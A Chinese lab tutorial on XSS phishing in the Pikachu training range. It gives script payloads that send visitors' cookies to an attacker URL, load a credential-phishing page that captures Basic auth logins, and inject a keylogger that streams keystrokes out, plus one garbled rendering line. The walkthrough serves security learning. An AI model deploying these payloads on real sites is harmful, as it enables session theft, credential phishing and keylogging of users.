概述
1、XSS就是攻击者在web页面插入恶意的Script代码,当用户浏览该页面时,嵌入其中的js代码会被执行,从而达到恶意攻击的目的。

2、XSS是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户

3、Xss漏洞可以用来进行钓鱼攻击、前端js挖矿、用户cookie获取、甚至可以结合浏览器自身的漏洞对用户主机进行远程控制

因此在XSS漏洞的防范上,一般会采用对输入进行过滤、和对输出进行转义的方式进行处理

xss相关介绍请自行查询或访问:https://blog.csdn.net/weixin_45868644/article/details/120192536进行阅读学习,这里直接讲钓鱼部分。

首先:

准备pikachu靶场的环境
访问http://116.204.99.177/install.php(pikaqiu项目目录下的install.php),进行初始化,创建数据库。
在这里插入图片描述

访问管理工具,初始化钓鱼信息记录的数据库
在这里插入图片描述点击初始化安装
之后便可以登录,账户密码:admin/123456
靶场cookie获取的额外操作
将靶场目录下的pkxss/xcookie/cookie.php文件进行修改,在header处修改为自己靶场的url,当此文件被访问或调用解析时,最后会执行跳转到你的靶场url
在这里插入图片描述靶场账号密码钓鱼的额外操作
将靶场目录下的pkxss/xfish/fish.php文件进行修改

    $url = "http://your-ip/pkxss/xfish/xfish.php?username={$_SERVER['PHP_AUTH_USER']}&password={$_SERVER['PHP_AUTH_PW']}";
    header("Location: $url");
    echo "Redirecting to: $url";

在这里插入图片描述原代码

    header("Location: http://your-ip/pkxss/xfish/xfish.php?username={$_SERVER['PHP_AUTH_USER']}&password={$_SERVER['PHP_AUTH_PW']}");
    

ps:当
your-ip为10.10.10.10:8081,{KaTeX parse error: Expected 'EOF', got '}' at position 25: …PHP_AUTH_USER']}̲为admin {_SERVER[‘PHP_AUTH_PW’]}")为admin
举例

该代码使用php的curl进行访问跳转,但是由于该代码在执行时会拼接为
curl http://10.10.10.10:8081/pkxss/xfish/xfish.php?username=admin&password=admin
会出现报错,原因是因为&会将这一条命令分割为两条命令执行
第一个命令:curl http://10.10.10.10:8081/pkxss/xfish/xfish.php?username=admin
第二个命令:password=admin
在这里插入图片描述所以对php代码进行修改:
curl命令就会变为:
curl “http://10.10.10.10:8081/pkxss/xfish/xfish.php?username=admin&password=admin”
就可以成功

开始进行钓鱼操作

一、Get的反射性XSS钓鱼攻击
构造代码:

<script> document.location = 'http://your-IP/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>

对于这段js代码的分析:
<script>标签:这是HTML中用于定义JavaScript脚本的标签。

document.location:这是JavaScript中的一个对象,表示当前网页的URL信息。

=:赋值运算符,将后面的内容赋值给前面的对象。

‘http://your-ip/pkxss/xcookie/cookie.php?cookie=’:一个字符串,表示目标URL的前缀部分,后面会拼接上当前网页的cookie信息。

+:连接符,用于连接两个字符串。

document.cookie:这是JavaScript中的一个对象,表示当前网页的cookie信息。

</script>标签:表示JavaScript脚本的结束。

总结:使用js代码,将当前网站的cookie拼接到url:"http://your-ip/pkxss/xcookie/cookie.php?cookie="上,进行跳转

测试攻击
前端js代码限制输入框只能提交20个字段,将它修改为100即可(当然,这是get型xss,可以直接在url传参处添加攻击语句)
在这里插入图片描述提交攻击语句后发现,跳转回了靶场首页,
网页debug发现:
第一:请求了指定的钓鱼页面的url,并在后面携带了我的cookie信息
第二:跳转回靶场首页(前面“靶场cookie获取的额外操作”的结果,用来抵消受害者的怀疑)
在这里插入图片描述查看结果
成功抓取到我的cookie信息
在这里插入图片描述

二、存储型xss实现账号密码钓鱼

构造代码

<script src="http://your-ip/pkxss/xfish/fish.php"></script>

插入后在这里插入图片描述
当我们访问该页面是,便会调用解析http://116.204.99.177/pkxss/xfish/fish.php
后台代码分析
在这里插入图片描述测试攻击
在这里插入图片描述
输入damin/admin
钓鱼成功
在这里插入图片描述

三、存储型XSS实现键盘记录

要求同源策略,可以在黑客网站设置忽略同源策略
准备:
靶场网站路径下pkxss/rkeypress/rkserver.php文件
在这里插入图片描述
修改pkxss/rkeypress/rk.js文件,实时向目标文件发送数据
在这里插入图片描述
测试攻击:
构造恶意语句,存入数据库

<script src="http://your-ip/pkxss/rkeypress/rk.js"></script>

开始调用
在这里插入图片描述在网页debug处发现向目标hacker网站发送了键盘数据
在这里插入图片描述
查看发现接受成功
在这里插入图片描述

GitHub 加速计划 / pi / pikachu
3.58 K
728
下载
最近提交(Master分支:2 个月前 )
b19bb06d 优化dockerfile 1 年前
3234bfc6 - 1 年前
Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐